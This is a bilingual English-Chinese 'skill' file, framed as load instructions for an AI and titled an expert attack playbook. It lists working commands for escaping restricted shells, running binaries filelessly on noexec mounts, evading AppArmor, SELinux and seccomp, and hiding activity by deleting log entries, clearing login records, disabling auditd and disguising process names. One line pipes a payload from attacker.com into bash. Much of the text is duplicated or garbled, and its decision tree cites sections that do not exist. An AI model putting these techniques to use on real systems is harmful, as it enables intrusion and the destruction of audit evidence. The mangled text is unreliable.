linux-security-bypass

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SKILL: Linux Security Bypass — Expert Attack Playbook

SKILL: Linux安全绕过 — 专家攻击手册

AI LOAD INSTRUCTION: Expert techniques for bypassing Linux security mechanisms. Covers restricted shell escape, noexec bypass, AppArmor/SELinux evasion, seccomp circumvention, and audit evasion. Base models miss DDexec, memfd_create fileless execution, and architecture-confusion seccomp bypass.
AI加载说明:绕过Linux安全机制的专业技术,涵盖受限shell逃逸、noexec绕过、AppArmor/SELinux规避、seccomp绕过以及审计规避。基础模型未覆盖DDexec、memfd_create无文件执行和架构混淆seccomp绕过方法。

0. RELATED ROUTING

0. 相关路径指引

Before going deep, consider loading:
  • linux-privilege-escalation once you've broken out of restrictions and need to escalate
  • container-escape-techniques when security mechanisms are container-specific (seccomp profiles, AppArmor docker-default)
  • linux-lateral-movement after bypassing restrictions for pivoting
  • cmdi-command-injection when the restriction is on command execution from a web application context

深入了解前,可考虑加载以下内容:
  • linux-privilege-escalation 当你突破限制后需要提权时参考
  • container-escape-techniques 当安全机制是容器专属(seccomp配置、AppArmor docker-default)时参考
  • linux-lateral-movement 绕过限制后进行横向移动时参考
  • cmdi-command-injection 当限制来自Web应用上下文的命令执行时参考

1. RESTRICTED BASH (rbash) BYPASS

1. 受限BASH (rbash) 绕过

1.1 SSH-Based Bypass

1.1 基于SSH的绕过

bash
undefined
bash
undefined

Force a different shell via SSH

Force a different shell via SSH

ssh user@host -t "bash --noprofile --norc" ssh user@host -t "/bin/sh" ssh user@host -t "bash -l"
ssh user@host -t "bash --noprofile --norc" ssh user@host -t "/bin/sh" ssh user@host -t "bash -l"

If ForceCommand is set in sshd_config, these may not work

If ForceCommand is set in sshd_config, these may not work

Try SFTP/SCP instead — often not restricted:

Try SFTP/SCP instead — often not restricted:

sftp user@host
sftp user@host

SFTP shell can sometimes execute commands

SFTP shell can sometimes execute commands

undefined
undefined

1.2 Editor-Based Escape

1.2 基于编辑器的逃逸

bash
undefined
bash
undefined

vi/vim escape

vi/vim escape

vi :set shell=/bin/bash :shell
vi :set shell=/bin/bash :shell

Or: :!/bin/bash

Or: :!/bin/bash

ed escape

ed escape

ed !/bin/bash
ed !/bin/bash

nano (if available)

nano (if available)

Ctrl+R → Ctrl+X → command execution

Ctrl+R → Ctrl+X → command execution

undefined
undefined

1.3 Language Interpreter Escape

1.3 语言解释器逃逸

InterpreterCommand
Python
python3 -c 'import pty; pty.spawn("/bin/bash")'
Perl
perl -e 'exec "/bin/bash";'
Ruby
ruby -e 'exec "/bin/bash"'
Lua
lua -e 'os.execute("/bin/bash")'
PHP
php -r 'system("/bin/bash");'
Node.js
node -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'
AWK
awk 'BEGIN {system("/bin/bash")}'
解释器命令
Python
python3 -c 'import pty; pty.spawn("/bin/bash")'
Perl
perl -e 'exec "/bin/bash";'
Ruby
ruby -e 'exec "/bin/bash"'
Lua
lua -e 'os.execute("/bin/bash")'
PHP
php -r 'system("/bin/bash");'
Node.js
node -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'
AWK
awk 'BEGIN {system("/bin/bash")}'

1.4 Environment Variable Tricks

1.4 环境变量技巧

bash
undefined
bash
undefined

Overwrite shell via BASH_CMDS

Overwrite shell via BASH_CMDS

BASH_CMDS[x]=/bin/bash x
BASH_CMDS[x]=/bin/bash x

Use env to spawn unrestricted shell

Use env to spawn unrestricted shell

env /bin/bash env -i /bin/bash
env /bin/bash env -i /bin/bash

PATH manipulation (if export is allowed)

PATH manipulation (if export is allowed)

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin /bin/bash
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin /bin/bash

If only specific commands are allowed:

If only specific commands are allowed:

Use allowed command to read files

Use allowed command to read files

git log --oneline --all -p # git can read arbitrary files git diff /dev/null /etc/shadow
undefined
git log --oneline --all -p # git can read arbitrary files git diff /dev/null /etc/shadow
undefined

1.5 Other Escapes

1.5 其他逃逸方法

MethodCommand
expect
expect -c 'spawn /bin/bash; interact'
script
script -qc /bin/bash /dev/null
rlwrap
rlwrap /bin/bash
nmap
(old)
nmap --interactive
!bash

方法命令
expect
expect -c 'spawn /bin/bash; interact'
script
script -qc /bin/bash /dev/null
rlwrap
rlwrap /bin/bash
nmap
(旧版本)
nmap --interactive
!bash

2. READ-ONLY / NOEXEC FILESYSTEM EXECUTION

2. 只读/NOEXEC文件系统执行

2.1 DDexec — Execute From stdin via /proc/self/mem

2.1 DDexec — 通过/proc/self/mem从stdin执行

bash
undefined
bash
undefined

DDexec overwrites the running process memory with a new binary

DDexec overwrites the running process memory with a new binary

No file written to disk — completely fileless

No file written to disk — completely fileless

Usage: pipe any ELF binary through DDexec

Usage: pipe any ELF binary through DDexec

curl -sL https://attacker.com/payload | bash ddexec.sh
curl -sL https://attacker.com/payload | bash ddexec.sh

How it works:

How it works:

1. Opens /proc/self/mem for writing

1. Opens /proc/self/mem for writing

2. Seeks to the text segment of the current process

2. Seeks to the text segment of the current process

3. Overwrites it with the target ELF binary

3. Overwrites it with the target ELF binary

4. Jumps to the new entry point

4. Jumps to the new entry point

undefined
undefined

2.2 memfd_create — In-Memory File Descriptor

2.2 memfd_create — 内存文件描述符

python
import ctypes, os
libc = ctypes.CDLL("libc.so.6")
fd = libc.syscall(319, b"", 0)     # SYS_MEMFD_CREATE (x86_64)
with open(f"/proc/self/fd/{fd}", "wb") as f:
    f.write(open("/path/to/binary", "rb").read())
os.execve(f"/proc/self/fd/{fd}", ["binary"], os.environ)   # Bypasses noexec
bash
undefined
python
import ctypes, os
libc = ctypes.CDLL("libc.so.6")
fd = libc.syscall(319, b"", 0)     # SYS_MEMFD_CREATE (x86_64)
with open(f"/proc/self/fd/{fd}", "wb") as f:
    f.write(open("/path/to/binary", "rb").read())
os.execve(f"/proc/self/fd/{fd}", ["binary"], os.environ)   # Bypasses noexec
bash
undefined

Perl variant: syscall(319, "", 0) → write to fd → exec /proc/$$/fd/$fd

Perl variant: syscall(319, "", 0) → write to fd → exec /proc/$$/fd/$fd

undefined
undefined

2.3 ld.so Direct Execution

2.3 ld.so直接执行

bash
undefined
bash
undefined

Use the dynamic linker to execute from a writable mount

Use the dynamic linker to execute from a writable mount

Even if the binary's partition is noexec, ld.so runs from its own mount

Even if the binary's partition is noexec, ld.so runs from its own mount

/lib64/ld-linux-x86-64.so.2 /path/on/noexec/mount/binary
/lib64/ld-linux-x86-64.so.2 /path/on/noexec/mount/binary

Or from /dev/shm (usually writable + exec):

Or from /dev/shm (usually writable + exec):

cp binary /dev/shm/binary /dev/shm/binary
undefined
cp binary /dev/shm/binary /dev/shm/binary
undefined

2.4 Script Interpreters on noexec

2.4 noexec挂载下的脚本解释器

bash
undefined
bash
undefined

Scripts still execute on noexec — only ELF execution is blocked

Scripts still execute on noexec — only ELF execution is blocked

The interpreter (python/perl/bash) runs from an exec-allowed mount

The interpreter (python/perl/bash) runs from an exec-allowed mount

and reads the script as data

and reads the script as data

python3 /noexec/mount/exploit.py # Works perl /noexec/mount/exploit.pl # Works bash /noexec/mount/exploit.sh # Works
python3 /noexec/mount/exploit.py # 可正常执行 perl /noexec/mount/exploit.pl # 可正常执行 bash /noexec/mount/exploit.sh # 可正常执行

But ./exploit (ELF binary) → "Permission denied"

但./exploit (ELF二进制文件) → 提示"Permission denied"

undefined
undefined

2.5 Writable Mount Points

2.5 可写挂载点

bash
undefined
bash
undefined

Common writable + exec-capable locations:

Common writable + exec-capable locations:

/dev/shm # tmpfs — almost always writable + exec /tmp # Sometimes noexec on hardened systems /var/tmp # Often writable /run # tmpfs — check permissions
/dev/shm # tmpfs — 几乎总是可写且支持执行 /tmp # 在加固系统上有时会设置noexec /var/tmp # 通常可写 /run # tmpfs — 需检查权限

Check mount options:

Check mount options:

mount | grep -E "shm|tmp"
mount | grep -E "shm|tmp"

Look for "noexec" flag — if absent, exec is allowed

查找"noexec"标记 — 不存在则允许执行


---

---

3. APPARMOR BYPASS

3. AppArmor绕过

3.1 Profile Enumeration

3.1 配置枚举

bash
undefined
bash
undefined

Check AppArmor status

Check AppArmor status

aa-status 2>/dev/null cat /sys/module/apparmor/parameters/enabled # Y = enabled cat /sys/kernel/security/apparmor/profiles # List all profiles
aa-status 2>/dev/null cat /sys/module/apparmor/parameters/enabled # Y = 已启用 cat /sys/kernel/security/apparmor/profiles # 列出所有配置

Check current process profile:

Check current process profile:

cat /proc/self/attr/current
cat /proc/self/attr/current

"unconfined" = no restriction

"unconfined" = 无限制

"docker-default (enforce)" = Docker's default profile

"docker-default (enforce)" = Docker默认配置

undefined
undefined

3.2 Exploitation Strategies

3.2 利用策略

bash
undefined
bash
undefined

Find unconfined processes (inject via ptrace if root):

Find unconfined processes (inject via ptrace if root):

ps auxZ 2>/dev/null | grep unconfined
ps auxZ 2>/dev/null | grep unconfined

Complain mode = effectively no restriction (just logging):

Complain mode = effectively no restriction (just logging):

aa-status | grep complain

Common AppArmor profile gaps: `/proc/self/fd/*` access, abstract Unix sockets, interpreter-based execution (python scripts bypass binary restrictions), and newly created paths.

---
aa-status | grep complain

常见AppArmor配置缺口:`/proc/self/fd/*`访问、抽象Unix套接字、基于解释器的执行(Python脚本绕过二进制限制)以及新创建的路径。

---

4. SELINUX BYPASS

4. SELinux绕过

4.1 Mode Check

4.1 模式检查

bash
getenforce           # Enforcing / Permissive / Disabled
sestatus             # Detailed status
cat /etc/selinux/config   # Persistent configuration
bash
getenforce           # Enforcing / Permissive / Disabled
sestatus             # 详细状态
cat /etc/selinux/config   # 持久化配置

Check current context

Check current context

id -Z ps auxZ | head -20
undefined
id -Z ps auxZ | head -20
undefined

4.2 Permissive Domain Exploitation

4.2 宽容域利用

bash
semanage permissive -l 2>/dev/null    # Domains in permissive mode
ps -eZ | grep -i permissive           # Processes — can do anything (just logged)
bash
semanage permissive -l 2>/dev/null    # 处于宽容模式的域
ps -eZ | grep -i permissive           # 相关进程 — 可执行任意操作(仅记录日志)

4.3 Context Transition & Booleans

4.3 上下文切换与布尔值

bash
ls -Z /tmp/                           # File contexts — tmp_t has broader access
sesearch --allow -t unconfined_t 2>/dev/null | head -30   # Transition rules
bash
ls -Z /tmp/                           # 文件上下文 — tmp_t有更广泛的访问权限
sesearch --allow -t unconfined_t 2>/dev/null | head -30   # 切换规则

Dangerous booleans that weaken SELinux:

Dangerous booleans that weaken SELinux:

getsebool -a | grep -i "on$" | grep -iE "exec|write|network|connect"
getsebool -a | grep -i "on$" | grep -iE "exec|write|network|connect"

httpd_can_network_connect, allow_execmem

例如httpd_can_network_connect, allow_execmem


---

---

5. SECCOMP BYPASS

5. seccomp绕过

5.1 Check Seccomp Status

5.1 检查seccomp状态

bash
grep Seccomp /proc/self/status
bash
grep Seccomp /proc/self/status

Seccomp: 0 = disabled, 1 = strict, 2 = filter

Seccomp: 0 = 已禁用, 1 = 严格模式, 2 = 过滤模式

Docker default seccomp profile blocks ~44 syscalls

Docker默认seccomp配置拦截约44个系统调用

Check what's allowed:

Check what's allowed:

./amicontained # Shows blocked/allowed syscalls
undefined
./amicontained # 显示被拦截/允许的系统调用
undefined

5.2 Architecture Confusion (x86 vs x86_64)

5.2 架构混淆(x86 vs x86_64)

bash
undefined
bash
undefined

Seccomp filters often only check x86_64 syscall numbers

Seccomp filters often only check x86_64 syscall numbers

x86 (32-bit) syscall numbers are different!

x86 (32-bit) syscall numbers are different!

If the filter doesn't check the architecture:

If the filter doesn't check the architecture:

Compile a 32-bit binary that uses x86 syscall numbers:

Compile a 32-bit binary that uses x86 syscall numbers:

x86_64 execve = 59, x86 execve = 11

x86_64 execve = 59, x86 execve = 11

The filter blocks syscall 59 but not 11

过滤器拦截系统调用59但不拦截11

gcc -m32 -static -o exploit32 exploit.c
gcc -m32 -static -o exploit32 exploit.c

If the seccomp filter lacks AUDIT_ARCH_X86 check → bypass

如果seccomp过滤器缺少AUDIT_ARCH_X86检查 → 绕过成功

undefined
undefined

5.3 Allowed Syscall Abuse & Kernel Bugs

5.3 允许的系统调用滥用与内核漏洞

Allowed syscalls to abuse creatively:
sendmsg/recvmsg
(pass FDs between processes),
mmap/mprotect
(executable memory),
process_vm_readv/writev
(cross-process memory).
Known seccomp kernel bugs: CVE-2019-2054 (ptrace bypass), io_uring bypassed seccomp entirely (pre-5.12). Check
uname -r
and compare.

可创造性滥用的允许系统调用:
sendmsg/recvmsg
(进程间传递FD)、
mmap/mprotect
(可执行内存)、
process_vm_readv/writev
(跨进程内存操作)。
已知seccomp内核漏洞:CVE-2019-2054(ptrace绕过)、io_uring完全绕过seccomp(5.12版本前)。检查
uname -r
版本对比确认。

6. AUDIT EVASION

6. 审计规避

6.1 Timestamp Manipulation

6.1 时间戳操纵

bash
undefined
bash
undefined

Modify file timestamps to hide changes

Modify file timestamps to hide changes

touch -r /etc/hosts /modified/file # Copy timestamp from reference touch -t 202301010000.00 /modified/file # Set specific timestamp
touch -r /etc/hosts /modified/file # 从参考文件复制时间戳 touch -t 202301010000.00 /modified/file # 设置指定时间戳

Modify log timestamps (if writable)

Modify log timestamps (if writable)

Use timestomping to match surrounding entries

使用时间戳踩踏匹配周边条目

undefined
undefined

6.2 Log Tampering & Process Spoofing

6.2 日志篡改与进程伪装

bash
sed -i '/pattern/d' /var/log/auth.log     # Remove specific entries
echo "" > /var/log/wtmp                    # Clear login records
journalctl --rotate && journalctl --vacuum-time=1s   # Clear journal
bash
sed -i '/pattern/d' /var/log/auth.log     # 删除指定条目
echo "" > /var/log/wtmp                    # 清除登录记录
journalctl --rotate && journalctl --vacuum-time=1s   # 清除journal日志

Process name spoofing (hide in ps output):

Process name spoofing (hide in ps output):

exec -a "[kworker/0:0]" /bin/bash # Bash
exec -a "[kworker/0:0]" /bin/bash # Bash伪装

C/Python: prctl(PR_SET_NAME, "kworker/0:0", 0, 0, 0)

C/Python: prctl(PR_SET_NAME, "kworker/0:0", 0, 0, 0)

Disable audit (if root):

Disable audit (if root):

auditctl -e 0 && service auditd stop

---
auditctl -e 0 && service auditd stop

---

7. LINUX SECURITY BYPASS DECISION TREE

7. Linux安全绕过决策树

Security mechanism identified?
├── Restricted shell (rbash)?
│   ├── SSH access? → ssh -t "bash --noprofile --norc" (§1.1)
│   ├── Editor available? → vi :!/bin/bash (§1.2)
│   ├── Language interpreter? → python/perl/ruby escape (§1.3)
│   ├── env command? → env /bin/bash (§1.4)
│   └── Allowed commands with escape? → git/man/less → !bash (§1.5)
├── noexec filesystem?
│   ├── Script interpreters available? → bash/python/perl scripts work (§2.4)
│   ├── /dev/shm writable + exec? → copy binary there (§2.5)
│   ├── memfd_create available? → fileless execution (§2.2)
│   ├── ld.so accessible? → ld.so /path/to/binary (§2.3)
│   └── Last resort → DDexec via /proc/self/mem (§2.1)
├── AppArmor enforcing?
│   ├── Profile in complain mode? → no restriction, just logging (§3.3)
│   ├── Unconfined processes exist? → inject/migrate to them (§3.2)
│   ├── Profile missing path coverage? → use uncovered paths (§3.4)
│   └── Interpreter not restricted? → script-based execution
├── SELinux enforcing?
│   ├── Domain set to permissive? → exploit that domain (§4.2)
│   ├── Dangerous booleans enabled? → abuse allowed actions (§4.4)
│   ├── Context transition available? → execute binary with transition (§4.3)
│   └── Kernel CVE? → SELinux bypass exploit
├── seccomp filter active?
│   ├── Architecture check missing? → 32-bit syscall confusion (§5.2)
│   ├── Allowed syscalls exploitable? → sendmsg/mmap abuse (§5.3)
│   ├── Kernel bug? → io_uring/ptrace bypass (§5.4)
│   └── Check what's blocked → amicontained (§5.1)
└── Audit logging?
    ├── Writable logs? → delete/modify entries (§6.2)
    ├── Root access? → disable auditd (§6.4)
    ├── Need stealth? → process name spoofing (§6.3)
    └── File changes tracked? → timestamp manipulation (§6.1)
是否已识别安全机制?
├── 是否是受限shell (rbash)?
│   ├── 有SSH访问权限? → 执行ssh -t "bash --noprofile --norc"(见§1.1)
│   ├── 有可用编辑器? → vi执行:!/bin/bash(见§1.2)
│   ├── 有语言解释器? → Python/Perl/Ruby逃逸(见§1.3)
│   ├── 有env命令? → 执行env /bin/bash(见§1.4)
│   └── 有支持逃逸的允许命令? → git/man/less执行!bash(见§1.5)
├── 是否是noexec文件系统?
│   ├── 有可用脚本解释器? → Bash/Python/Perl脚本可正常执行(见§2.4)
│   ├── /dev/shm可写且支持执行? → 复制二进制文件到此处(见§2.5)
│   ├── 支持memfd_create? → 无文件执行(见§2.2)
│   ├── 可访问ld.so? → 执行ld.so /path/to/binary(见§2.3)
│   └── 最终方案 → 通过/proc/self/mem执行DDexec(见§2.1)
├── AppArmor处于强制模式?
│   ├── 配置处于投诉模式? → 无限制,仅记录日志(见§3.3)
│   ├── 存在无限制进程? → 注入/迁移到这些进程(见§3.2)
│   ├── 配置缺少路径覆盖? → 使用未覆盖的路径(见§3.4)
│   └── 解释器无限制? → 基于脚本执行
├── SELinux处于强制模式?
│   ├── 域设置为宽容模式? → 利用该域(见§4.2)
│   ├── 启用了风险布尔值? → 滥用允许的操作(见§4.4)
│   ├── 有可用上下文切换? → 带切换执行二进制文件(见§4.3)
│   └── 存在内核CVE? → 使用SELinux绕过exp
├── seccomp过滤器已激活?
│   ├── 缺少架构检查? → 32位系统调用混淆(见§5.2)
│   ├── 允许的系统调用可被利用? → 滥用sendmsg/mmap(见§5.3)
│   ├── 存在内核漏洞? → io_uring/ptrace绕过(见§5.4)
│   └── 检查拦截规则 → 运行amicontained(见§5.1)
└── 存在审计日志?
    ├── 日志可写? → 删除/修改条目(见§6.2)
    ├── 有Root权限? → 禁用auditd(见§6.4)
    ├── 需要隐蔽? → 进程名伪装(见§6.3)
    └── 跟踪文件变更? → 时间戳操纵(见§6.1)